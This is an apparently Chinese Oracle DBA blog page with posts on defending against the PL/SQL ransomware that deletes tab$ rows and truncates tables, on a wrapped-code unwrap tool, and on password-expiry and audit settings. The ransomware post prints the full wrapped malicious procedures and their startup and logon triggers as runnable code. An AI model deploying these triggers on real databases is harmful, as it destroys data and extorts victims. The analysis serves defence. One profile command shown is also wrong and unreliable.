Skip to content

Oracle security

关于Oracle数据库比特币敲诈的简单防御方法

由于17年到18年现在陆陆续续接到了不少新老客户的Oracle database受此类恶意脚本的攻击,我们也积累了一些防范此类问题的措施,在此篇中简单介绍2种容易的被动防御方法:

 

1.创建此类攻击脚本的对象名称进行占用(最简单最笨的方法)

 

DBMS_SUPPORT_INTERNAL

DBMS_SYSTEM_INTERNAL

DBMS_CORE_INTERNAL

对这三个对象名称进行占用处理。

 

2.对创建触发器的操作进行主动阻止

 

对主要的dba用户进行DDL操作的阻止,类似写法不再描述。

2016年在国内的plsql developer工具注入脚本的原理解释(代码不作公开)

在10月左右国内爆发了一阵子关于Oracle数据库锁定以及删除的比特币勒索事件,笔者历经数次此类问题,客户深受其害,在没有备份的情况下有些数据救回来了有些则被病毒恶意删除了,在本文里病毒代码不作解释公开,仅作解析原理以及学习交流使用.

14

该恶意脚本通过触发器的方式来实现对数据库的破坏,分为三部分:

DBMS_SUPPORT_INTERNAL

该触发器为数据库启动触发,启动后执行如下操作

  1.  检查数据库创建时间是否大于1200天,如果好过1200则创建orachk表来备份tab$表,此后删除tab$中除掉owner#为0和38的行.
  2. 接着通过dbms_backup_restore清理整个数据库的备份信息
  3. 然后通过dbms_system在alert日志中写上如上图的相关告警提示信息

DBMS_SYSTEM_INTERNAL

该触发器为数据库登陆触发,该触发器作用主要是是对不在表空间system,example,sysaux表空间的对象进行统计信息最后分析时间的对比,如果存在1200天以上的表未做统计信息分析则会判断下是否属于C89239的客户端的进程,如果不是则出发事件告警.告知登陆用户数据库被锁定.

DBMS_CORE_INTERNAL

该触发器为数据库用户登陆触发,为整个恶意脚本中最严重的破坏部分.在用户登陆后,会触发对归属于当前登陆用户的不在表空间system,example,sysaux表空间的表并且过滤掉带$的表以及orachk备份表,簇表进行统计信息收集的时间进行收集对比,如果存在超过1200天未收集统计信息,则truncate对应的表(不是全部表truncate,还是有条件的). 然后告警.

 

处理办法:

 

基于该问题的解决办法,有备份则备份恢复,没备份则通过Mdata或者dul恢复被truncate.当然还涉及到基表tab$表的的一些情况,需要根据tab$是否被清理,系统中离上次收集统计信息超过1200天的表有哪些等来做一些条件判断. orachk的备份表可以起到比较重要的作用.

 

该脚本原文:(可以用本站的plsql反解密工具进行解密.)

create or replace procedure “DBMS_SUPPORT_INTERNAL ” wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
6f2 467
N/V8HjJRfuLs0jji4Nsz59BipVwwg0NcTPZ3Z46BQqqVlW/f91N+YSzjDJV+ZQUuE5EGR366
EJMlfvzRE58yt6OZc4KSTcpvVvL2DbSsleURlQZtls3WJA5pz/M0+jPWnkT4FjkVuBeLaMdy
ALf02U3cX8XvuLMWMTTUCuIMWE1YSspHs1ZXI9Gs+vtlQBvjnlOe6gd3z3/W+1hQ9NVZ/I6C
j2V5tDzc6HzQPhRRxbi+yLtemcB/XmZq6LevX25Uoh+PX5PxDirtUX/0ml29rwGQ83Z0yI00
bsjMfZuniA042B8dOxpSCVkldQHIJT32hCeo0PjpAho6+jazCqyp3gXbfFJbkXPcj5X72xmR
BKYB7IeI19FWpSf0bYk033EqsunX2ZmZMbnifUrBWy/XgFJ8so/pL0Q4j8a4veh7zSmRqAf4
IwPePjnF5qtZiWrhEjg05kstoQ2gISXW5md7jhB6nMXypgSk+31ThFQoV8MayDQlv+mnqAFQ
JnkTUTBAepZf1v/MLT/vpbq/g9dYU7px5vGjcSXSs+W6C0aZl1rLgGbSwt7uTUlBoeXFTx/M
V3hRu2jj+dFRWYh1oQt3ceLIuyw2bQl4zT8jPyDANYpoFnjUWMienpHVLnVuO7HBlHUgcp8O
uWsPh47dduwxpeQraQf6Qo94VnBch/vzMOueRXpeB/t1ftQiny8G3zCBI0njZmlbW7vEd5tG
TMVovGXAnSErHC9zg24j9nDbmCowZGq9Wj/xLF6i11NClsiUelde9IJSam2YJusJEcZOCHbA
61rn6O3JMEfTVbLaA8yGI2VYTgVUs3YraHSE59ZXNYT26ABbss/ze9q2YXM83hC+fsRMF/UB
CyDehlVk6poPu0iqh3GtYz8ewTyr3U4Huiw5h3ZWSLy1YVPtoJIy/pWvJcSQwapjtTH5sFtP
QXlkijT3+59BVrskc26lkH1zm7lDYOzNrpClUhJzzfyG14Hw7ZCADPYTJKck4rlIc3omb8sB
88Za8K4d6FhaDHeGlAPPzvR2h4QEj7BDj6eGBWuZ5d7i9lhFpxlcRn+XGrnpY+SYpKy1+Nuw
YF6gWAi2A5DlAe5yl38YHz8dXJEBsA==

/
PROMPT Create “DBMS_SUPPORT_INTERNAL ”
create or replace trigger “DBMS_SUPPORT_INTERNAL ”
after startup on database
begin
“DBMS_SUPPORT_INTERNAL “;
end;
/
CREATE OR REPLACE procedure “DBMS_SYSTEM_INTERNAL ” wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
3a5 384
D8WvgOUUGiT5i6HOYNlx/FlHr5Ywg/AJDwwFaY6aA08GR5wUL2MmCn3bLQVdPGCbIPrwCrxG
oPo8ULTCGw2SUmHGstQ2bVHHt5N1tC6gC5Wc7X1qIqnKvHSft0hv/qDdAsf/1zpzrcGr6NHg
+t9/XwxCPcDYAW1wPfcqrC6yPqX+/Vsxqx3IL6/hULowV5aRixEC6FMU4NaFRaddQPRvwyHl
zBZYS1SPOGYTWNPoU74teofIKpLVVFSvZvt5oTj0uePpkcKJJO51aQHwXMjpdqJcVmRw9IbO
dJx8HqqijllMRBoWyzVCRLqloOMmbTjgyvPaqwl/EXtrLt1lhAt0TzaF0bOmnMgnFnXu0zHK
H6kuNyzXmTF0Y2bpbhhZIH5q3SZXgHcpEfJGAX5tm94MdChf5Qyf4dtVTxfbWDGKd4oU0bN6
eSz7+3VaYXykk5fnVLcWzlXOn0ig8qTe+s8g+yWfW4hAZm0WpNHfLlWRB7dDWLkBsBLkHmrQ
0B9zA9cAHvTh6HmUN865J7vov6ZLc+X+KsTH7ULSQ88DmjG1Py3HVa0sftZ8AO2Htp5sKk8Q
IgNTQQ/FXYUdd28rwG25l9KjtxjJxOLcD0FIgf45T1eprwVVCr8XvU8Z9dVrKKdWENo/mi6z
UR84A5RcLGRFNVeT3tgVobWlTvkTjGq5Q48ywY99wbn6+em7yRpvDgRnvkNC/Xp+IaMupWi0
Ypj3KHl4rOW6JjociXiPSu8cZp25NcuXNXHeNjLj/Y8jh+vQUbWbXqGlPqKO26/scgimuQO0
IOZxMoao9cUBXZaoWlZVwuQetwffXHZGqEY/bvWEOxkRhI0cg4PlB/DyzeKd+u6GDB876yoT
PBEx7DsW0gARJWjtmk3EITM=

/
CREATE OR REPLACE TRIGGER “DBMS_SYSTEM_INTERNAL ”
AFTER LOGON ON DATABASE
BEGIN
“DBMS_SYSTEM_INTERNAL “;
END;
/
create or replace procedure DBMS_STANDARD_FUN9 wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
69 9a
8qPs2BvPyop5gdYsYiM6d3OX/X4wg6RtrcupfHQ2JkICDBEpacVJ33D0BF12Udm1qjWJ3p8a
PTQzNujgdF0LJz6M06sNjH28d2D11hbDoLhreR50pKELek9RaqbOhmll1tuFFLR5oEho2F3o
LOPeiFY=

/
create or replace procedure “DBMS_CORE_INTERNAL ” wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
73c 4c4
SlwavX1476MVTf7FOLHh3KBF3Nkwg81eTPb9gI7NAz+VeRF1VcLz8dNYVxVjjD0Woxede4IK
xT+TPCVhb6dsZjsGBNIXg8Zv8rJ/vaFVQNRptsSoUib6DA9uB/mpZ4UMa7/JedXRPtK+w0sR
uVW+/kES/zHIW9/2om6vAmBVti2kuG/avJFosNFu+dGp756mzTCtTQt9gIeQCKvJq8PCZY8Q
U2HD0SZfyMPmE8CY6UKVTYnybAPoDO0O876KpGRL+x60VoncjwpXXdJFgMGtRoZa1o1iU8M+
TNHqMvekUvO4yOLvFKwdr3HJDM4v7HqlytNfxvE8TBuP629qzfUv+HcLj1vTccE5HcAI1m02
TZrOB8T7sJ8e1PqUBfA2wvEPFTc/XUUN5pBMv89Gx3uaIJhAdOANa6hInulybHIIspyeiF4a
0oue9nXoXGWU3q+9qquCMlW/Z2+oDZrmi85wL35WWIBWMg7MWyjYhO1QAaJeHdy2dFXOjGNl
wn6sfn+y0+xaWIzsXTS+NS/8NKci45EE+mYiLR7OR8qTwntahjjC9+aq4TbJgrBXF8VPY4G8
YaLCCPW0LsKO9fPIMVnefBP3Zq0PKxMoooKU6cP+aUzNVpnj/wsMnTVC70hg+VE14+xu+J61
fyH226y2n65ptDcHeZuChA13yU6F3jwOuPwBldyOQFmZRj+AZL8aNY5xi8QtgvqQ8llOc2zg
D0zYcYdWwsvUQm2CZftXMjaEtUETw1eC0cnMoQ+I5NhanNshdEzG6INVX06p/b4NYsL+wBe7
+k+atflqCO5OzQcGth8wFKPK65GGj9ev76kSDxzkCe21IxK1wR8FB9qYnaSaqu1OBn0ciR9v
udicE6Rkhzrk/JuQI5iTjep9yUJjRW7YVmgc72mGuQoXD3qYEs6lfYC2j30TW2S8EOKLRIYa
bey9sAget7sz9cT6O68we5P4MO8pKBhVszl6AM/k67mx+ND+hxwQDU4RtdBbrr/QKBlHs+Gg
kkt7zYFhVrSrLsZQDFC9+hQC15Hh9qG/AM2v/G9uBYWsoXuKNZQr+JO/dyzm36wasf2wt/qd
g7AKkgttoSQemtwumco6VgzGyDtskxmjhFi7sDlNjf/o5BCumd/zUqp8qTXsJidULErfOLIs
VpDLW4y5kjpzGDqAsALLacnR+R/4JGJh02GpmiPN7Z2mGzsg1Q==

/
CREATE OR REPLACE TRIGGER “DBMS_CORE_INTERNAL ”
AFTER LOGON ON SCHEMA
BEGIN
“DBMS_CORE_INTERNAL “;
END;
/

更详细的解释可以百度搜索.

损人不利己的事情还是要敬而远之.做一个有正能量的开发人员

在10月底到11月的plsql病毒分析中,顺便弄了此工具方便使用wrap加密后的存储过程解密. HC把乱糟糟的代码重编译了下,使用起来更简单了。

关于这个解密原理很简单,ITPUB有很详细的说明,这里就不刨根究底了。

 

给予10,11g plsql 解密指引参考:

 http://www.itpub.net/thread-1154232-1-1.html

 

9I的plsql解密原理参考:

http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Finnigan.pdf

 

使用语法:

 

用界面太弱了(其实我们懒),所以还是纯命令行格式.注意路径.

 

java -jar unwrap.jar  加密文件  [解密文件]

 

1

 

下载地址:

 

UNWRAP.JAR DOWNLOAD

发布个plsql的解密小工具- unwrap

建议关注11g数据库password_life_time

Oracle 11g 之前默认的用户时是没有密码过期的限制的,在Oracle 11g 中default的profile启用了密码过期时间是180天,也就是password_life_time值为180,虽然是个小细节,但是很多客户在迁移到11g后有规律性的都在半年后出现了密码错误无法登陆的问题.

如下:

select * from dba_profiles where profile='DEFAULT' and resource_name='PASSWORD_LIFE_TIME';

PROFILE       RESOURCE_NAME       RESOURCE LIMIT
------------ -------------------- -------- -------
DEFAULT       PASSWORD_LIFE_TIME  PASSWORD 180

当过期时候系统会报错ORA-28002.当遭遇这个问题时候可以通过以下方式解决:

    1.新建profile,对用户指定新的profile.
    2.通过对用户重设密码(密码可以和原来一样).

    命令为:

    alter user username identified by password.
    

    3.针对默认的profile的password_life_time设置为unlimited

    命令为:

    alter profile default limit PASSWORD_LIFE_TIM 180.

以下是profile里的关于password的设置类目解释:

    FAILED_LOGIN_ATTEMPTS
    设定登录到Oracle 数据库时可以失败的次数。一旦某用户尝试登录数据库的达到该值时,该用户的帐户就被锁定,只能由DBA能解锁。
    PASSWORD_LIFE_TIME
    设定口令的有效时间(天数),一旦超过这一时间,必须重新设口令。缺省为180天(11g,10gUNLIMITED).
    PASSWORD_REUSE_TIME
    许多系统不许用户重新启用过去用过的口令。该资源项设定了一个失效口令要经过多少天,用户才可以重新使用该口令。缺省为UNLIMITED.
    PASSWORD_REUSE_MAX
    重新启用一个先前用过的口令前必须对该口令进行重新设置的次数(重复用的次数)。
    PASSWORD_LOCK_TIME
    设定帐户被锁定的天数(当登录失败达到FAILED_LOGIN_ATTEMPTS时)。
    PASSWORD_GRACE_TIME
    设定在口令失效前,给予的重新设该口令的宽限天。当口令失效之后回,在登录时会出现警告信息显示该天数。如果没有在宽限天内修改口令,口令将失效。
    PASSWORD_VERITY_FUNCTION
    该资源项允许调用一个PL/SQL 来验证口令。Oracle公司已提供该应用 的脚本,但是只要愿意的话,用户可以制定自己的验证脚本。该参数的设定就是PL/SQL函数的名称。缺省为NULL.

关于11g数据库基础审计的初始注意事项

目前11g已经有些年份了,大部分的系统已经迁移或者升级到11g的版本,而后续上线的大部分系统都是以11g为主.在11g以上的版本中数据库的基础审计和以往版本不同,11g以后的版本默认是开启的.基础审计这个功能大部分时候并不是很受关注,一来是比较简单就能设置完成,二来国内对信息数据安全的不够注重的环境也让很多dba在数据库安全层面未有太多落实.所以在基础设计这块在数据库构建之处也容易忽视.

审计在默认开启的情况下,主要影响是2方面:

    1.审计记录在长久记录后,会占用较多的空间,而审计记录表默认是存放在system表空间.
    2.在审计记录膨胀后,容易对一些类型的应用产生性能上的影响.

在初始构建11g实例时候,对审计处理并不是一味的关闭处理,主要是考虑开启的必要性需求,以及如果开启后如何去管理审计记录.以前我遇见过这样的需求,主要是针对审计开启后的审计记录管理问题.关闭倒是容易,一条命令就可以结束.反倒是开启后对审计记录的管理.可以参考以下2个文章对审计记录表存放位置挪移到别的表空间,同时制定定期的删除策略.